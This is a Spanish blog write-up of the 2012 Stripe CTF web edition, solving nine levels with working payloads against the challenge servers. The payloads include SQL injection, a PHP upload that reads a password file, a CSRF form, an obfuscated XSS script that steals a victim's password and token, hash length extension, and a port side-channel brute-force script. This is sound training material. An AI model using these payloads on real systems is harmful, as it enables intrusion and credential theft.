Por
Twitter me enteré el 23 de Agosto que la empresa Stripe había montado
un CTF, me sonaba que ya habían hecho uno previamente. Esta vez el CTF
era sobre vulnerabilidades Web y tenía del 22 al 29 por lo que me decidí
a probar.
https://stripe.com/blog/capture-the-flag-20
Hay
9 niveles donde nos proporcionan una introducción y el código fuente
del servicio a atacar. Todo el código que nos proporcionan lo he subido a
https://github.com/dalvarezs
Nivel 0
Welcome
to Capture the Flag! If you find yourself stuck or want to learn more
about web security in general, we've prepared a list of helpful
resources for you. You can chat with fellow solvers in the CTF chatroom
(also accessible in your favorite IRC client at
irc://irc.stripe.com:+6697/ctf).
We'll
start you out with Level 0, the Secret Safe. The Secret Safe is
designed as a secure place to store all of your secrets. It turns out
that the password to access Level 1 is stored within the Secret Safe. If
only you knew how to crack safes...
You
can access the Secret Safe at
https://level00-1.stripe-ctf.com/user-czemoskhjv. The Safe's code is
included below, and can also be obtained via git clone
https://level00-1.stripe-ctf.com/user-czemoskhjv/level00-code.
Revisando el código en ruby rápidamente se ve que la vulnerabilidad es una inyección de código SQL en una sentencia con LIKE.
El código vulnerable en el fichero level00.js es:
app.get('/*', function(req, res) {
var namespace = req.param('namespace');
if (namespace) {
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
if (err) throw err;
renderPage(res, {namespace: namespace, secrets: secrets});
});
} else {
renderPage(res, {});
}
});
Enviando el carácter % en el parámetro namespace se obtienen todos los valores almacenados, obteniendo el password MTNzeALlbv.
Nivel 1
Excellent,
you are now on Level 1, the Guessing Game. All you have to do is guess
the combination correctly, and you'll be given the password to access
Level 2! We've been assured that this level has no security
vulnerabilities in it (and the machine running the Guessing Game has no
outbound network connectivity, meaning you wouldn't be able to extract
the password anyway), so you'll probably just have to try all the
possible combinations. Or will you...?
You
can play the Guessing Game at
https://level01-2.stripe-ctf.com/user-fidecfsyim. The code for the Game
can be obtained from git clone
https://level01-2.stripe-ctf.com/user-fidecfsyim/level01-code, and is
also included below.
La
aplicación espera en el parámetro attempt la contraseña, sin embargo,
leyendo el código (esta vez en php) te das cuenta de que es posible
enviar un parámetro con el nombre de la variable filename que será el
utilizado por el codigo php, en vez de 'secret-combination.txt'.
De esta forma podemos controlar la condición “if ($attempt === $combination)” obteniendo el password EzErXetuTd.
<?php
$filename = 'secret-combination.txt';
extract($_GET);
if (isset($attempt)) {
$combination = trim(file_get_contents($filename));
if ($attempt === $combination) {
echo "<p>How did you know the secret combination was" .
" $combination!?</p>";
$next = file_get_contents('level02-password.txt');
echo "<p>You've earned the password to the access Level 2:" .
" $next</p>";
} else {
echo "<p>Incorrect! The secret combination is not $attempt</p>";
}
}
?>
Payload: https://level01-2.stripe-ctf.com/user-fidecfsyim?attempt=&filename=
Nivel 2
You
are now on Level 2, the Social Network. Excellent work so far! Social
Networks are all the rage these days, so we decided to build one for
CTF. Please fill out your profile at
https://level02-2.stripe-ctf.com/user-uvgjkctugx. You may even be able
to find the password for Level 3 by doing so.
The
code for the Social Network can be obtained from git clone
https://level02-2.stripe-ctf.com/user-uvgjkctugx/level02-code, and is
also included below.
En este nivel tenemos una Red social donde se permite subir un fichero como imagen para el perfil.
La vulnerabilidad está en que la aplicación permite subir cualquier fichero, por lo que se puede enviar código php.
En el código dado se hace referencia al fichero password.txt. Solo queda subir un fichero que muestre su contenido:
<?php echo file_get_contents("../password.txt"); ?>
Password HpTCvSQLKQ.
Nivel 3
After
the fiasco back in Level 0, management has decided to fortify the
Secret Safe into an unbreakable solution (kind of like Unbreakable
Linux). The resulting product is Secret Vault, which is so secure that
it requires human intervention to add new secrets.
A
beta version has launched with some interesting secrets (including the
password to access Level 4); you can check it out at
https://level03-1.stripe-ctf.com/user-qjthblpqly. As usual, you can
fetch the code for the level (and some sample data) via git clone
https://level03-1.stripe-ctf.com/user-qjthblpqly/level03-code, or you
can read the code below.
Accediendo
a la web se solicita usuario y contraseña para obtener el secreto.
Además, nos dice que el usuario bob almacena el secreto para el paso al
nivel 4.
Revisando el código (ahora toca python) se ve que se ejecuta la sentencia SQL que no está siendo filtrada:
query = """SELECT id, password_hash, salt FROM users
WHERE username = '{0}' LIMIT 1""".format(username)
Además, se utiliza el hash de la contraseña con un salt:
calculated_hash = hashlib.sha256(password + salt)
if calculated_hash.hexdigest() != password_hash:
return "That's not the password for {0}!\n".format(username)
Cuando
usuario y contraseña son correctos, se asigna a la sesión el id del
usuario, por lo que el objetivo de esta prueba es obtener el id del
usuario bob para que nos muestre el secreto. Para ello necesitamos que
nos asigne su user_id, habiendo pasado las comprobaciones de usuario y
contraseña:
flask.session['user_id'] = user_id
Mediante
una inyección SQL en el parámetro username se fuerza a que el id que
devuelva sea el del usuario bob. Se envió una petición POST con los
parámetros:
username='+UNION+SELECT+id,+'fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603',+'b'+FROM+users+WHERE+username%3d'bob'--&password=a
Estos
valores son calculados con el objetivo de que la condición “if
calculated_hash.hexdigest() != password_hash:” se cumpla. Para ello se
ha calculado los password_hash estableciendo como password 'a' y como
salt 'b':
>>> hashlib.sha256('a'+'b').hexdigest()
'fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603'
Recargando la web se obtiene el password ZZFMsfXAhg. Este nivel empezaba a ser más divertido!
Nivel 4
The
Karma Trader is the world's best way to reward people for good deeds:
https://level04-4.stripe-ctf.com/user-lkfvmdujam. You can sign up for an
account, and start transferring karma to people who you think are doing
good in the world. In order to ensure you're transferring karma only to
good people, transferring karma to a user will also reveal your
password to him or her.
The
very active user karma_fountain has infinite karma, making it a ripe
account to obtain (no one will notice a few extra karma trades here and
there). The password for karma_fountain's account will give you access
to Level 5.
You
can obtain the full, runnable source for the Karma Trader from git
clone https://level04-4.stripe-ctf.com/user-lkfvmdujam/level04-code.
We've included the most important files below.
Por
la descripción, el objetivo está claro: conseguir que el usuario
karma_fountain nos transfiera crédito para que nos muestre su
contraseña.
En el código se puede ver cómo se realizan las transferencias:
post '/transfer' do
redirect '/' unless @user
from = @user[:username]
to = params[:to]
amount = params[:amount]
die("Please fill out all the fields.", :home) unless amount && to
amount = amount.to_i
die("Invalid amount specified.", :home) if amount <= 0
die("You cannot send yourself karma!", :home) if to == from
unless DB.conn[:users][:username => to]
die("No user with username #{to.inspect} found.", :home)
end
unless user_has_infinite_karma?
if @user[:karma] < amount
die("You only have #{@user[:karma]} karma left.", :home)
end
end
DB.conn[:transfers].insert(:from => from, :to => to, :amount => amount)
DB.conn[:users].where(:username=>from).update(:karma => :karma - amount)
DB.conn[:users].where(:username=>to).update(:karma => :karma + amount)
El campo from no se pasa por parámetro y no podemos manipularlo. Por otro lado, el registro de usuarios se hace mediante:
post '/register' do
username = params[:username]
password = params[:password]
unless username && password
die("Please specify both a username and a password.", :register)
end
unless username =~ /^\w+$/
die("Invalid username. Usernames must match /^\w+$/", :register)
end
unless DB.conn[:users].where(:username => username).count == 0
die("This username is already registered. Try another one.",
:register)
end
A diferencia del username, la contraseña no se está validando.
Por
lo tanto, el objetivo es mediante un ataque de Cross-Site Request
Forgery forzar a que el usuario karma_fountain nos haga una
transferencia. Para ello, creamos un usuario con contraseña:
<form action="https://level04-4.stripe-ctf.com/user-lkfvmdujam/transfer" method="post" id="pr">
<input type="hidden" name="to" value="david" />
<input type="hidden" name="amount" value="1" />
</form>
<script>
document.getElementById('pr').submit();
</script>
Y
hacemos una donación al usuario karma_fountain para que reciba nuestro
código mediante la contraseña. El usuario karma_fountain es un bot que
se conecta periódicamente por lo que nos realizará la transferencia.
La password ZXVuTozhJX.
Nivel 5:
Many
attempts have been made at creating a federated identity system for the
web (see OpenID, for example). However, none of them have been
successful. Until today.
The
DomainAuthenticator is based off a novel protocol for establishing
identities. To authenticate to a site, you simply provide it username,
password, and pingback URL. The site posts your credentials to the
pingback URL, which returns either "AUTHENTICATED" or "DENIED". If
"AUTHENTICATED", the site considers you signed in as a user for the
pingback domain.
You
can check out the Stripe CTF DomainAuthenticator instance here:
https://level05-1.stripe-ctf.com/user-ujgjbpdotv. We've been using it to
distribute the password to access Level 6. If you could only somehow
authenticate as a user of a level05 machine...
To
avoid nefarious exploits, the machine hosting the DomainAuthenticator
has very locked down network access. It can only make outbound requests
to other stripe-ctf.com servers. Though, you've heard that someone
forgot to internally firewall off the high ports from the Level 2
server.
Interesting
in setting up your own DomainAuthenticator? You can grab the source
from git clone
https://level05-1.stripe-ctf.com/user-ujgjbpdotv/level05-code, or by
reading on below
Por la introducción no se tiene muy claro que hay que hacer, revisando el código se extrae:
Necesitamos que se cumpla la condición “if host =~ PASSWORD_HOSTS” para que nos muestre la contraseña:
user = session[:auth_user]
host = session[:auth_host]
if user && host
output += " You are authenticated as #{user}@#{host}.
"
if host =~ PASSWORD_HOSTS
output += " Since you're a user of a password host and all,"
output += " you deserve to know this password: #{PASSWORD}
"
end
end
# Run with the production file on the server
if File.exists?('production')
PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/
ALLOWED_HOSTS = /\.stripe-ctf\.com$/
else
PASSWORD_HOSTS = /^localhost$/
ALLOWED_HOSTS = //
end
Por lo tanto, hosts tiene que seguir el patrón /^level05-\d+\.stripe-ctf\.com$/
Para asignar un valor a la variable host:
if authenticated?(body)
session[:auth_user] = username
session[:auth_host] = host
return "Remote server responded with: #{body}." \
" Authenticated as #{username}@#{host}!"
se debe cumplir “if authenticated?(body)”
def authenticated?(body)
body =~ /[^\w]AUTHENTICATED[^\w]*$/
end
Después
de esto el objetivo es conseguir que al hacer una petición la variable
hosts cumpla el patrón anterior. Por la descripción sabemos que la
máquina solo puede hacer peticiones a servidores con dominio
stripe-ctf.com, por lo que usaremos el servidor del nivel 2 para subir
un fichero con el texto “-AUTHENTICATED”.
Finalmente se ejecutó una petición POST con:
pingback=https://level05-1.stripe-ctf.com/user-ujgjbpdotv/?pingback=https://level02-2.stripe-ctf.com/user-uvgjkctugx/uploads/lvl5.txt&username=david&password=2
Nivel 6:
After
Karma Trader from Level 4 was hit with massive karma inflation
(purportedly due to someone flooding the market with massive quantities
of karma), the site had to close its doors. All hope was not lost,
however, since the technology was acquired by a real up-and-comer,
Streamer. Streamer is the self-proclaimed most steamlined way of sharing
updates with your friends. You can access your Streamer instance here:
https://level06-2.stripe-ctf.com/user-axbechwixy
The
Streamer engineers, realizing that security holes had led to the demise
of Karma Trader, have greatly beefed up the security of their
application. Which is really too bad, because you've learned that the
holder of the password to access Level 7, level07-password-holder, is
the first Streamer user.
As
well, level07-password-holder is taking a lot of precautions: his or
her computer has no network access besides the Streamer server itself,
and his or her password is a complicated mess, including quotes and
apostrophes and the like.
Fortunately
for you, the Streamer engineers have decided to open-source their
application so that other people can run their own Streamer instances.
You can obtain the source for Streamer at git clone
https://level06-2.stripe-ctf.com/user-axbechwixy/level06-code. We've
also included the most important files below.
Tras leer la descripción, el objetivo está claro:
Necesitamos
que el usuario level07-password-holder publique su contraseña en los
mensajes. Sin embargo, esta vez para postear un mensaje hay que conocer
un token no predecible para evitar ataques Cross-Site Request Forgery.
Revisando el código se ve que únicamente se está haciendo un filtrado de los caracteres ' y “:
if value.kind_of?(String) &&
(value.include?('"') || value.include?("'"))
raise "Value has unsafe characters"
end
Por
lo que es posible realizar un Cross-Site Scripting inyectando un código
que obtenga la contraseña, y publique un mensaje extrayendo el valor
del token.
Los mensajes que se muestran a los usuarios están incluidos en un JSON:
var post_data = [{"time":"Fri Aug 24 11:23:42 +0000 2012","title":"Hello World","user":"level07-password-holder","id":null,"body":"Welcome to Streamer, the most streamlined way of sharing\nupdates with your friends!\n\nOne great feature of Streamer is that no password resets are needed. I, for\nexample, have a very complicated password (including apostrophes, quotes, you\nname it!). But I remember it by clicking my name on the right-hand side and\nseeing what my password is.\n\nNote also that Streamer can run entirely within your corporate firewall. My\nmachine, for example, can only talk directly to the Streamer server itself!"}];
Por lo que el payload queda:
$.ajax({
type: 'GET',
url: 'user_info',
success: function(msg){
var a =$('[name=_csrf]').val();
var msg2= msg.replace(/"/g, 'bbbbbbbbbbbbbb');
var msg3=msg2.replace(/'/g, 'eeeeeeeeeeeeeee');
$.ajax({
type: 'POST',
url: 'ajax/posts',
data: {
'title': 'titulo',
'body': msg3,
'_csrf': a
},
success: function(msg){
alert("fuck CSRF");
}
});
}
});
Mediante
la petición a user_info, se obtiene la contraseña y con ella se realiza
una petición de publicar un mensaje extrayendo el valor del token.
Además, como la contraseña del usuario contiene caracteres no permitidos
( ' y “), nos lo dicen en la descripción, se reemplazan por otro
código.
Finalmente hay que codificar el código jquery para evitar problemas con las comillas y se envía la siguiente petición POST:
title=testing&body=}]</script><script>eval(String.fromCharCode(36, 46, 97, 106, 97, 120, 40, 123, 116, 121, 112, 101, 58, 32, 39, 71, 69, 84, 39, 44, 117, 114, 108, 58, 32, 39, 117, 115, 101, 114, 95, 105, 110, 102, 111, 39, 44, 32, 115, 117, 99, 99, 101, 115, 115, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 109, 115, 103, 41, 123, 32, 118, 97, 114, 32, 99, 115, 114, 102, 32, 61, 36, 40, 39, 91, 110, 97, 109, 101, 61, 95, 99, 115, 114, 102, 93, 39, 41, 46, 118, 97, 108, 40, 41, 59, 32, 118, 97, 114, 32, 109, 115, 103, 50, 61, 32, 109, 115, 103, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 34, 47, 103, 44, 32, 39, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 39, 41, 59, 32, 118, 97, 114, 32, 109, 115, 103, 51, 61, 109, 115, 103, 50, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 39, 47, 103, 44, 32, 39, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 39, 41, 59, 32, 36, 46, 97, 106, 97, 120, 40, 123, 32, 116, 121, 112, 101, 58, 32, 39, 80, 79, 83, 84, 39, 44, 32, 117, 114, 108, 58, 32, 39, 97, 106, 97, 120, 47, 112, 111, 115, 116, 115, 39, 44, 32, 100, 97, 116, 97, 58, 32, 123, 32, 39, 116, 105, 116, 108, 101, 39, 58, 32, 39, 116, 105, 116, 117, 108, 111, 39, 44, 32, 39, 98, 111, 100, 121, 39, 58, 32, 109, 115, 103, 51, 44, 32, 39, 95, 99, 115, 114, 102, 39, 58, 32, 99, 115, 114, 102, 32, 125, 44, 32, 115, 117, 99, 99, 101, 115, 115, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 109, 115, 103, 41, 123, 32, 97, 108, 101, 114, 116, 40, 34, 102, 117, 99, 107, 32, 67, 83, 82, 70, 34, 41, 59, 125, 125, 41, 59, 125, 125, 41, 59))</script><script>var t = [{&_csrf=Z%2FTINtE2srx4T5WwCFSv6zkOrRJo3NDUk8T5L5%2Fi27g%3D
Cuando el usuario level07-password-holder se conecte obtendremos el password 'frHrvqmmtcXV".
Nivel 7:
Welcome to the penultimate level, Level 7.
WaffleCopter
is a new service delivering locally-sourced organic waffles hot off of
vintage waffle irons straight to your location using quad-rotor
GPS-enabled helicopters. The service is modeled after TacoCopter, an
innovative and highly successful early contender in the airborne food
delivery industry. WaffleCopter is currently being tested in private
beta in select locations.
Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter's first premium subscribers.
Log
in to your account at https://level07-2.stripe-ctf.com/user-vnnjojikfr
with username ctf and password password. You will find your API
credentials after logging in. You can fetch the code for the level via
git
clone https://level07-2.stripe-ctf.com/user-vnnjojikfr/level07-code, or
you can read it below. You may find the sample API client in client.py
particularly helpful.
Revisando el código destaca:
def _signature(self, message):
h = hashlib.sha1()
h.update(self.api_secret + message)
return h.hexdigest()
y viendo las peticiones que se realizan para hacer los pedidos:
https://level07-2.stripe-ctf.com/user-vnnjojikfr/orders
count=1&lat=1&user_id=5&long=1&waffle=liege|sig:0eeddfae9869844170ba0ceeb871c562152dd251
se
extrae que es vulnerable a un ataque hash length extension. Para estos
ataques hay una herramienta que nos hace todo el trabajo gracias a
vnsecurity (http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/).
Solo hace falta conocer la longitud de la contraseña, mensaje original,
hash original y el mensaje que queremos añadir. El tamaño de la
contraseña lo podemos obtener del código, aunque un ataque de fuerza
bruta hubiera valido:
def add_waffles(level_password):
add_waffle('liege', 1, level_password)
add_waffle('dream', 1, rand_alnum(14))
add_waffle('veritaffle', 0, rand_alnum(14))
Como
se permitía acceder a los pedidos de otros usuarios, con una petición a
https://level07-2.stripe-ctf.com/user-vnnjojikfr/logs/1 es posible
obtener el mensaje original
“count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo”
Ejecutamos la herramienta y enviamos el resultado:
python sha-padding.py 14 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' '0cae013e74d62f65b1802c5d780e7180983d8dbd' '&waffle=liege'
https://level07-2.stripe-ctf.com/user-vnnjojikfr/orders
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege
Nivel 8:
El
nivel más complejo con diferencia. Por cuestiones personales, solo pude
estar con el CTF el 23-24 y 28-29, cuando desbloquee el nivel ya había
dos pistas. No se si estaban dadas desde el principio o fue pasados los
días:
Welcome to the final level, Level 8.
HINT 1: No, really, we're not looking for a timing attack.
HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output?
UPDATE:
If you push the reset button for Level 8, you will be moved to a
different Level 8 machine, and the value of your Flag will change. If
you push the reset button on Level 2, you will be bounced to a new Level
2 machine, but the value of your Flag won't change.
Because
password theft has become such a rampant problem, a security firm has
decided to create PasswordDB, a new and secure way of storing and
validating passwords. You've recently learned that the Flag itself is
protected in a PasswordDB instance, accesible at
https://level08-2.stripe-ctf.com/user-veyrdiujkx/.
PasswordDB
exposes a simple JSON API. You just POST a payload of the form
{"password": "password-to-check", "webhooks": ["mysite.com:3000", ...]}
to PasswordDB, which will respond with a {"success": true}" or
{"success": false}" to you and your specified webhook endpoints.
(For
example, try running curl
https://level08-2.stripe-ctf.com/user-veyrdiujkx/ -d '{"password":
"password-to-check", "webhooks": []}'.)
In
PasswordDB, the password is never stored in a single location or
process, making it the bane of attackers' respective existences.
Instead, the password is "chunked" across multiple processes, called
"chunk servers". These may live on the same machine as the
HTTP-accepting "primary server", or for added security may live on a
different machine. PasswordDB comes with built-in security features such
as timing attack prevention and protection against using unequitable
amounts of CPU time (relative to other PasswordDB instances on the same
machine).
As
a secure cherry on top, the machine hosting the primary server has very
locked down network access. It can only make outbound requests to other
stripe-ctf.com servers. As you learned in Level 5, someone forgot to
internally firewall off the high ports from the Level 2 server. (It's
almost like someone on the inside is helping you — there's an sshd
running on the Level 2 server as well.)
To
maximize adoption, usability is also a goal of PasswordDB. Hence a
launcher script, password_db_launcher, has been created for the express
purpose of securing the Flag. It validates that your password looks like
a valid Flag and automatically spins up 4 chunk servers and a primary
server.
You
can obtain the code for PasswordDB from git clone
https://level08-2.stripe-ctf.com/user-veyrdiujkx/level08-code, or simply
read the source below.
No
fue rápido ver cuál era el objetivo, en este caso con el código que nos
habían dado monté en local el servicio para hacer las pruebas. Cuando
se realizaba una petición:
curl http://127.0.0.1 -d '{"password": "123456789012", "webhooks": []}'
se
obtenía {"success": false} o {"success": true}. Añadiendo un webhook se
recibía el resultado en forma de petición POST. Analizando el
funcionamiento del servicio se extrae:
- Un
servidor principal maneja una contraseña numérica de 12 dígitos que es
divida en 4 trozos. Estos trozos son gestionados por servicios
individuales.
- Cuando
se envía una petición al servidor principal, este consulta, por orden y
uno por uno, a los servicios individuales. Si uno de los servicios
responde al servidor principal que no es correcto, este no realiza más
peticiones al resto de servicios individuales y contesta con false.
Nos
interesaría atacar a los servicios individuales con una fuerza bruta a 3
dígitos puesto que es más rápido que atacar al servidor con fuerza
bruta de 12 dígitos, pero no se tiene acceso a estos servicios, por lo
que se descarta. En las pistas iniciales indicaban que no se trataba de
un ataque basado en el tiempo (timming attack) por lo que se desecha la
opción.
Decidí
acudir al IRC que estaba montado para el CTF para ver que comentaba el
resto de participantes sobre la prueba, y ahí obtuve una pista: tenía
que revisar toda la conexión. Por lo que hice un script que mostrara los
datos de la conexión: host y puerto origen, el resto de datos
host-puerto destino y el mensaje ya lo conocía. Cuando lancé el script
en local, pude extraer el patrón:
python ports.py
('127.0.0.1', 38251)
('127.0.0.1', 38254)
('127.0.0.1', 38257)
('127.0.0.1', 38260)
('127.0.0.1', 38263)
('127.0.0.1', 38266)
('127.0.0.1', 38269)
Enviando
diferentes contraseñas se deduce que si el primer trozo de la
contraseña es erróneo, hay un salto de 3 en el número de puerto, si el
primer trozo es correcto pero el segundo no, hay un salto de 4 en el
número de puerto:
('127.0.0.1', 42120)
('127.0.0.1', 42124)
('127.0.0.1', 42128)
('127.0.0.1', 42132)
('127.0.0.1', 42136)
('127.0.0.1', 42140)
Así
hasta que obtenemos los tres primeros trozos, para sacar el cuarto
trozo y por lo tanto la contraseña, se hizo una fuerza bruta al servidor
principal.
En
local el patrón era bastante regular por lo que se daba la diferencia
de +3, +4 o +5 en el número de puerto; sin embargo, cuando se realizó
contra el servidor del nivel 8 debido a la carga de este se recibían
diferencias mayores a pesar de que la contraseña fuera incorrecta por lo
que en esos casos había que repetir la consulta para esa contraseña.
El código para la consulta del primer trozo es:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from time import sleep
import string
import httplib
import os
srv8 = "level08-2.stripe-ctf.com"
srv2 = "level02-2.stripe-ctf.com"
cont = 0 # contador de posicion
rangoVal= range(999) # rango de valores posibles
lastPort = 0 # ultimo puerto
class Manejador(BaseHTTPRequestHandler):
def do_POST(self):
global srv2, cont, lastPort, rangoVal
self.send_response(200)
self.wfile.write("ook");
print str(rangoVal[cont]).zfill(3) + "-000-000-000",
print "Diferencia: " + str(self.client_address[1] - lastPort),
if self.client_address[1] - lastPort == 3:
print "Password incorrecta"
rangoVal.remove(rangoVal[cont])
elif len(rangoVal) == 1:
print "Password: " + str(rangoVal[0])
os._exit(1)
else:
print "Diferencia erronea"
lastPort = self.client_address[1]
print rangoVal
cont = cont + 1
if cont >= len(rangoVal):
cont = 0
c = httplib.HTTPConnection(srv8, 443)
passwd = str(rangoVal[cont]).zfill(3) + "000000000"
print "Password?: " + passwd
c.request("POST", "/user-veyrdiujkx", '{"password": "' + passwd + '", "webhooks": ["'+srv2+':43278"] }')
sleep(0.2)
c.close()
def main():
try:
srv = HTTPServer(('0.0.0.0', 43278), Manejador)
print "WebHook: :43278"
srv.serve_forever()
except KeyboardInterrupt:
srv.socket.close()
if __name__ == '__main__':
main()
En
la descripción nos indicaban que se tenía acceso por ssh al servidor
del nivel 2, por lo que se utilizó para ejecutar el código. El script
queda esperando a una primera petición, por lo que mediante curl se
realizó la petición:
curl https://level08-2.stripe-ctf.com/user-veyrdiujkx/ -d '{"password": "000000000000", "webhooks": ["http://level02-2.stripe-ctf.com:43278"]}'
Hay
soluciones mucho más eficientes, pero dado que tenía poco tiempo busqué
la forma más rápida de codificar algo que funcionara y me diese la
solución. De hecho hubo hasta un nivel extra no-oficial para ver quien
sacaba la password más rápido con su script.
Si os interesan otras soluciones al nivel 8, en la siguiente web hay un listado:
https://docs.google.com/spreadsheet/ccc?key=0AqPyYgZlFopxdHBYSjJyY1V3dFdUN1hvMVB5cUU0Nnc#gid=0
El
CTF ha sido divertido, ha excepción del nivel 8 las pruebas eran
fáciles de ver qué es lo que teníamos que hacer para conseguir la
contraseña. La variedad de lenguajes utilizados(php ruby python) también
le ha dado un toque al juego.
Para terminar, dar las gracias a Stripe por montar el reto y por la camiseta para los ganadores!
Hay bastantes y muy buenas soluciones al CTF, con otras formas de resolverlo:
http://blog.ioactive.com/2012/08/stripe-ctf-20-write-up.html
http://blog.spiderlabs.com/2012/08/stripe-ctf-walkthrough.html
http://abiusx.com/stripe-ctf-2-web-challenges/
http://blog.ericrafaloff.com/2012/08/24/my-stripe-ctf-play-by-play/
http://jasiek.posterous.com/stripe-ctf-20-walkthrough
http://me.veekun.com/blog/2012/08/29/stripe-ctf-2-dot-0/
http://sec.omar.li/2012/08/stripe-ctf-writeup.html
http://blog.feabhas.com/2012/08/capture-the-flag-2-0-the-after-party/
http://blog.ontoillogical.com/blog/2012/08/30/my-solutions-to-the-stripe-ctf-web-app-edition/
http://my.opera.com/devloop/blog/2012/08/30/ctf-stripe-2012-mes-solutions
http://blog.matthewdfuller.com/2012/08/stripe-capture-flag-level-by-level.html
https://github.com/lukegb/Stripe-CTF-2.0/
http://labs.excilys.com/2012/08/29/stripe-capture-the-flag-web-edition/
http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition.html
http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_4.html
http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_5.html
Destacar los siguientes enlaces por su forma de resolver el nivel 5 y 6, respectivamente:
http://sec.omar.li/2012/08/stripe-ctf-writeup.html
http://www.codelord.net/2012/08/30/rack-params-magic-even-got-stripe-ctf-creators/
Fuente